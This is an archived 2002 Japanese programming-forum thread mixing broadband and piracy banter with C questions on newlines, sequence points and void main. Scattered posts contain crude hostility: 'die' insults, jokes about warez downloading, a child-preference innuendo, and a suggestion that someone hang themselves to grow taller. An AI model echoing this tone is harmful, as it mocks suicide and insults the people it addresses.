そんなささやかな幸せに浸っていたい程度の俺だ!
>>877
わ、わかった(汗
聞いた話しだけど、みんなしてコピ−使うからいっこうに安くならない・・らしい。
>>877
すみません。
>>880
それは違う!
会社が非営利じゃないから安くならないんだ!

「わが社は非営利です。問題ありません。」
>>882
ああっどこかで見たセリフだ(w
884デフォルトの名無しさん:02/05/07 01:08
最近はコンパイラからIDEまでただで配ってくれるから割れなんて必要ないよな。
>>880
それは会社側の言い訳です。
例をあげるとフォトショップ。たくさんユーザーいますよね?
安くなりましたか?
>>877
ていうかいいかげんダイヤルアップ止めろよ。
ダイヤルアップしか選択肢のないような田舎なら即引っ越せ。
887デフォルトの名無しさん:02/05/07 01:11
>>885
フォトショップは以前は15万円くらいしたんじゃなかった?
今は10万円弱だよ(でも高すぎる!)
>>885
>例をあげるとフォトショップ。たくさんユーザーいますよね?
たくさんの割れザもいるがな。
           ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
           ( ´Д` ) < >>886 GW前にフレッツ8M申し込んだ!! だが目的は割れじゃない。
          /,  /   \_________________________
         (ぃ9  |
          /    /、
         /   ∧_二つ
         /   /
        /    \
       /  /~\ \
       /  /   >  )
     / ノ    / /
    / /   .  / ./.    (゚д゚) <エロ ダ!!!!
    / ./     ( ヽ、    ゚(  )−
   (  _)      \__つ   / >

890デフォルトの名無しさん:02/05/07 01:13
>>889
エロサイトを見る女の子。
ハァハァ・・・・
>>889
そんなに回線速度が必要なくらい落とすのか…?
           ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
           ( ´Д` ) < >>890 お、おれ、俺は女じゃない!!!!
          /,  /   \_________________________
         (ぃ9  |
          /    /、
         /   ∧_二つ
         /   /
        /    \
       /  /~\ \
       /  /   >  )
     / ノ    / /
    / /   .  / ./.    (゚д゚) <ソ、ソウダ!!!!
    / ./     ( ヽ、    ゚(  )−
   (  _)      \__つ   / >
   _____
 /::\_____\
 |: ̄\∩`_´) \ <漏れは男の子!!
 |:   :| ̄ ̄U ̄:|
894デフォルトの名無しさん:02/05/07 01:15
>>889
どちらにしろMXはやるんだな(ワラ
エロサイト程度なら高速回線はいらないよな?
 __________________
 |: ̄\     \★パタン
 |:   :| ̄ ̄ ̄ ̄:|
 __________________
 |: ̄\     \
 |:   :| ̄ ̄ ̄ ̄:| < >>892 だれー?
>>889
どこにそんなにあるんだ…?オシエソ。
 __________________
 |: ̄\     \
 |:   :| ̄ ̄ ̄ ̄:| < MXはたぶんしないよ。今は普通にマグナムサイズのエロ動画落とせるからね。
>>892
だれだろう。一体、だれなのだろう。だれだったのだろう。
世の中には、まだ科学的に解決されていないことがたくさんある。
そう、あなたのうしろにも…
漏れも56モデムだが、これ以上の必要性は感じない。
ブラウジングも読み切れないほどの速さで出来て、一晩100MB落とせるんだが。
これで不満な奴は頭がおかしいとしか思えない。みんな業界の煽りに乗せられてるんだろ。
鯖とか立てたいのでは?ADSLはIP固定だし。
902デフォルトの名無しさん:02/05/07 01:21
>>900
タイーホ
>>901
固定とはかぎらん。
OCNなんかだと固定は割高。
 __________________
 |: ̄\     \
 |:   :| ̄ ̄ ̄ ̄:| < 常時接続できるのが一番魅力かな。
             開通したら0時に寝て8時に起きる。ケンコーテキーィ。
織れって頭がおかしかったのか…。
>>901
普通はダイナミックだと思うが?
>>900
>ブラウジングも読み切れないほどの速さで出来て
読み切ってしまうキティが居ないとも限らない。
>>900
100MBじゃまともな画質の動画1時間にもならないじゃん。
俺は64kだからキューにたまってる1.5G落とすのに数日かかるるんだよ。
909デフォルトの名無しさん:02/05/07 01:41
ケンコーテキ!! (・∀・) イイ!!

漏れも早く寝なくちゃな・・・
910900:02/05/07 01:50
>>907
うん、頭がおかしい。
>>908
動画か・・・。確かに動画はね。
でも漏れはそんなでかい動画は見ないからこれで十分。
まあ、童画を落とすときはイライラするけどね。
           ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
           ( ´Д` ) < >>910 今、童画嗜好をさらりとカミングアウトしたな!!
          /,  /   \_________________________
         (ぃ9  |
          /    /、
         /   ∧_二つ
         /   /
        /    \
       /  /~\ \
       /  /   >  )
     / ノ    / /
    / /   .  / ./.    (゚д゚) <コドモズキカ!!
    / ./     ( ヽ、    ゚(  )−
   (  _)      \__つ   / >
>>900
問題は速度じゃない。常時接続だ。お前も早くダイヤルアップ卒業しろよな。
速度も重要と思うけどな
これだけセキュリティホールが頻繁に発見修正されているOSを
使用する上ではWindowsUpdateは不可欠なものになってきていると思うが・・・
低速回線だとやってられんよ
(゚д゚) <コノAAキニイッタゾ!!
゚(  )−
/ >
>>913
そうか?
まあ俺は100KBytes/秒出てれば十分だが。
ネットをする時間が有り余ってる人には低速で充分だろ
数時間しか取れない人にとっては>>913の意見はもっともだよ。
917デフォルトの名無しさん:02/05/07 03:30
やはり汎用化して引数構成で処理を変えた方が無難かな?
てゆーかリンククリックしてから次が表示されるまでの数秒間のタイムラグがむかつく。
919917:02/05/07 03:40
>>928
そういうデメリットもあるか〜気づかん買った・・・
>>917
誤爆か?
>>919
未来とおしゃべりか?

おまいら寝とけ。
921デフォルトの名無しさん:02/05/07 12:21
質問なんですが、
http://www.studyinghttp.net/rfc_ja/2616/sec6.html#sec6
でCR = '\r' LF = '\n' SP = ' 'なんですか?
>>921
MS系のOSの場合
テキストモードでファイルをオープンした場合
C言語の改行コード '\n' をファイルに書き込もうとすると
OSが自動的にそれを '\r' '\n' の2文字に変換して書き込みます。
逆に読み込みでファイルに'\r' '\n' の改行コードがあれば、
OSが自動的に '\n' の1文字に変換してプログラムに渡します。
923デフォルトの名無しさん:02/05/07 13:28
英語で仕様書を書くときのわかりやすいガイドがあったら
教えてください。
ガイド自体が英語で書かれていてもいいです。

検索でいっぱい出てきますが、どれが良質なのかを
見極める目を持たないものですから、皆さんに
アドバイスをお願いしたいのです。
それってランタイムライブラリの仕様じゃないの?
>>922
925デフォルトの名無しさん:02/05/07 13:53
>>921
「アスキーコード」、「空白文字」あたりを検索。

>>924
をぃ。
>>924
OSの仕様がそうだからライブラリの仕様が決まると思うんですけど・・・
>>921
同ページの「2 表記の慣習と一般文法」も見れ。
拡張BNF記法について知った方が良いと思われ。
>>926
違うよ。
Win系で改行コードが\r\nとして扱われるのは、MS-DOS(旧くはCP/M)
との互換性のためにライブラリで整合を取っているからで、
そもそもテキストファイル、バイナリファイルの区別がOSのレベルでは存在していない。
CreateFileに改行コードの指定がないのが証拠
>>928
互換性を維持しなくてはならない以上、仕様とほぼ同等かと思うけどな
MSのOS上の動作を考慮する以上CR+LF考慮は避けて通れない。
OSの仕様といっても、あながち間違いではないと思う
930デフォルトの名無しさん:02/05/07 17:14

Win2000でMSのVC6++のレジストリを消したいんですが、
どこを消せばいいんでしょうか?

何回インストールしようにもミスしてしまうんです。
>CreateFileに改行コードの指定がないのが証拠
じゃぁたとえばチミは、CreateFileに文字コードの指定がないからWin系OSは文字コードについて規定してないとかいうのか?
すみませんが、質問です。
VC++を覚えようと思うのですが、
0から始めて、一通り覚えるまでに大体どのくらいかかりますか?
ちなみにプログラムは殆どやったことがありません。
>>931
だから、改行コードについてはスタイルやガイドラインの問題で、
OS自身の制限ではないって事
>>932
マルチは死ね
10年かかってもおまえには無理だって言っただろ
>>933
ガイドライン≒仕様
だろ?
>>933
それを言うなら、「OSの問題であって、ファイルシステムの問題ではない」だろ?
>>930
再インストールに失敗するってこと?
938デフォルトの名無しさん:02/05/07 18:51
くだらない質問ですが、教えてください。
あるプログラムの設定ファイル(. .ini)を手動で編集した時に、
そのの場所(行)って関係あるのでしょうか?

例えば、1行目にある物が別の行にあっても問題ないのでしょうか?
Win32APIを使う限りは問題ないけど、
自前で処理してるくせに糞な仕様だと問題が出るかもな
普通セクションを移動しない限り影響ないです。
Win16API使ってない場合はプログラム依存です。たぶん。
>>932
VC++からやるなら8年はみましょう(マジで
942938:02/05/07 19:02
>>939さん、940さん

なるほどWin32APIを使っててセクションが同じならば、出来るのですね。
ありがとうございました。
943デフォルトの名無しさん:02/05/07 19:21
#include <stdio.h>

void main (void)
{
char s[20],*pa="Hello";
int i=0;
while((s[i++]=*pa++)!='\0')
;
printf("%s\n",s);
}

これだったらちゃんとHelloと表示されるのに

#include <stdio.h>

void main (void)
{
char s[20],*pa="Hello";
int i=0;
while((s[i]=pa[i++])!='\0')
;
printf("%s\n",s);
}

これじゃ何も表示されなひ…
なぜですか?
944デフォルトの名無しさん:02/05/07 19:29
age
>>943
++によるiの増加が、s[i]の場所の評価より後で起きるとは限らない。
 while((s[i]=pa[i])!='\0')
  i++;
とでも汁。
946943:02/05/07 19:41
>>945
どちらも漏れが学校で購入した本ではOKになっていたのですが。
その本は糞ですか?
>>946
s[i]=pa[i++]が必ずs[i]=pa[i], i++と同じ順序になると
書いてあったのなら間違いなく糞だ。参考までに著者と
タイトルを教えれ。

あと、mainの戻り値をvoidにしてるのもその本のせいか?
948943:02/05/07 19:56
>>947

#include <stdio.h>

void main (void)
{
char s[20],*pa="Hello";
int i=@;
while((A)!='\0')
;
printf("%s\n",s);
}

すみません、漏れの言い方が悪かったです。
上記の問題が与えられて
解答が>>943のどちらでも正解になってると言いたかったのです。
おれの持ってるあるC本には、

main() {
 ...
}

こういうふうに書いてある。
950947:02/05/07 19:58
>>948
おんなじ事だな。やっぱ糞だわ。
で著者と本の名前は?実名晒せや。

あと、いちいちageんでよろしい。
ナツメ社
入門ソフトウェアシリーズ@の
「C言語」で著者は河西朝雄です。
それからvoidをを戻り値にしてるのもその本に書かれていたからです。
bccならこれでいけますがダメですか?たしかgccではダメだったような気がします。
>>951
ああ、有名な糞著者&糞本だな。
あんまりひどいんで、10年前に抗議の手紙書いたYO!

そのころ「Cでcharは0〜255, intは-32768〜+32767の範囲」
と書いてあった。

あと、getchar()の結果をchar型に代入してたよ。

void main(void)と書くくらいなら
main(void)とかmain()の方がまし(何も書かないとintと見なされる)。

正式には
int main(void)
または
int main(int, char **)
だがナー。
>>952
ありがとうございます。
この本知ってたんですか(w
こんなもん学校で買わされるなんて鬱…
自分でちゃんとした本買います。
お勧めのCの本はなんでしょうか?
954952:02/05/07 20:18
>あと、getchar()の結果をchar型に代入してたよ。

訂正だ。charに代入するのは別にいいんだけど、つまり奴は
char c;
while ((c=getchar())!=EOF) ...
と書いてたってこと。

>main(void)とかmain()の方がまし(何も書かないとintと見なされる)。

ここも誤解招くな。
main(void)はint main(void)
main()はint main()
とみなされるってこと。スマソ。
>>948
ここら辺の話は C-FAQ の参照に詳しく書いてある。
http://www.catnet.ne.jp/kouno/c_faq/c3.html#9

その中の 3.2 には...
自分の使っているコンパイラがそのような副作用 を持つコードをどう
実装しているか調べるようなこともしてはいけな い(多くのCの教科書に
載っている愚かな練習問題であるが、お薦めは しない)。

と書いてあるように、ウソ書いてる本もいっぱいあるから気をつけること。
sequence pointの存在にすら触れてない本は、さらにいっぱいある
どうもありがとうございました。
ウソ本買わないように気をつけます。
>>951
> voidをを戻り値に
この件は、このスレの >>374- にあるけど、そんな面倒なことじゃないんだから、
int main() にして、return 0; とか書こうよ。
>>958
やだ
>>959
じゃ、勝手にしな。後で困っても、お母さん知らないからね。
>>953
おすすめ本は他のスレにあるね。

俺は前橋和弥「C言語体当たり学習徹底入門」技術評論社をすすめとく。

柴田望洋や結城浩も悪くない(飛躍がなくてていねい)だとは思うが、
どっちも return (式); とカッコをつけてるのが嫌だ(w

ところで
main()
とintなしで書いてあるのは戸川隼人「ザ・C」じゃないか?
962951:02/05/07 21:00
>>959
氏ね
963デフォルトの名無しさん:02/05/07 21:01
誰かVC++.NET買った人いる?
964:02/05/07 21:02
新スレッドもよろしく
http://pc.2ch.net/test/read.cgi/tech/1020772896/
買ったよ。
966デフォルトの名無しさん:02/05/07 21:03
>>965
VC++.NETってネットにつながなくてもインストできるの?
967:02/05/07 21:03
>963
買いました。私はVB.NETもVC++.NETもC#.NETもみんなスタンダード
版で買いそろえました。
968デフォルトの名無しさん:02/05/07 21:07
969:02/05/07 21:09
>953
おすすめのC言語入門本は

「やさしいC」(高橋麻奈)「ソフトバンク」

もしくは
「プログラミング学習シリーズ・C言語1,2」(倉薫)「翔泳社」

どちらも必要最小限のことしか書いていないがC言語の全般を平易に
説明しています。後者の方がより簡単な内容です。これらで一通り
C言語ってどんなものが知ったら、別の書籍を当たった方がいいかも
しれません。
>>943 >>951
「入門ソフトウェアシリーズ(1) C言語」(河西朝雄著)
http://www.amy.hi-ho.ne.jp/~lepton/program/prog/prog78.html
この本に関しては、ここも読んでおくといいよ。
971デフォルトの名無しさん:02/05/07 21:18
お勧めのDelphi入門書を教えてください。
972デフォルトの名無しさん:02/05/07 21:19
誰か〜>>966の質問に答えてくれ〜〜〜〜〜
>>972
MS に聞けば ? お客さんなんだから、ちゃんと答えてくれると思うよ。
974:02/05/07 21:28
>966
できるよ。スタンダード版は認証システムがいりません。
>>973
(W
976デフォルトの名無しさん:02/05/07 21:39
背の伸ばし方教えてください。あと10cmは伸ばしたいです。

ちなみに環境はWindows2000 IE6です。。。。。
>>966
あんたまだ諦めてなかったの?
>>765-
それに、何故同じ内容の質問になるの?
その部分は解決してるでしょ?
原因は別だろ?
>>976
首つれば確実に伸びます。
人生再インストールですなぁ。
980デフォルトの名無しさん:02/05/07 21:49
「この後、信じられない出来事が!!」
981!
982!
983デフォルトの名無しさん:02/05/07 22:49
ウワァァンヽ(`Д´)ノ
昨日からエラーの原因がわからないままだよー
パパ怒っちゃうぞ(`へ´)
984983:02/05/07 22:59
原因が今やっとワカタ!!
余分な閉じ中カッコダタ!
ここに書き込んだから見つかったんだな
ありがとう2ch(´▽`)
991!!
990
989!!
988
1000取り合戦、いくぞゴルァ!!
え? いいよべつに・・・
Σ(゚д゚lll)
余生は静かに生きるものだよ。せにょーる。
989には無理。あきらめんちょ。
すみません、ダイキストラ法について詳しく書いてある
HPを教えていただけませんか? 緊急なんです。
VB.netっていくらしますか?
iアプリってどうつくれるの?
997994、995:02/05/07 23:53
age忘れた
        ∧_∧
       ( ´Д`) <はぁー・・・フレッツ1.5Mに変更だ。2.7Kmあるから素人にはおススメできないとさー。
      /    \      
   _  | |    | |_..∬
  |\ ̄ ̄ ̄ ̄ ̄ ̄ 旦.\
 ./..\\            \
/   \|=================|
\    ノ             \
        ∧_∧
       ( ´Д`) <はぁー・・・
      /    \      
   _  | |    | |_..∬
  |\ ̄ ̄ ̄ ̄ ̄ ̄ 旦.\
 ./..\\            \
/   \|=================|
\    ノ    失業者     \

        ∧_∧
       ( ´Д`) <はぁー・・・
      /    \      
   _  | |    | |_..∬
  |\ ̄ ̄ ̄ ̄ ̄ ̄ 旦.\
 ./..\\            \
/   \|=================|
\    ノ    失業者     \

10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。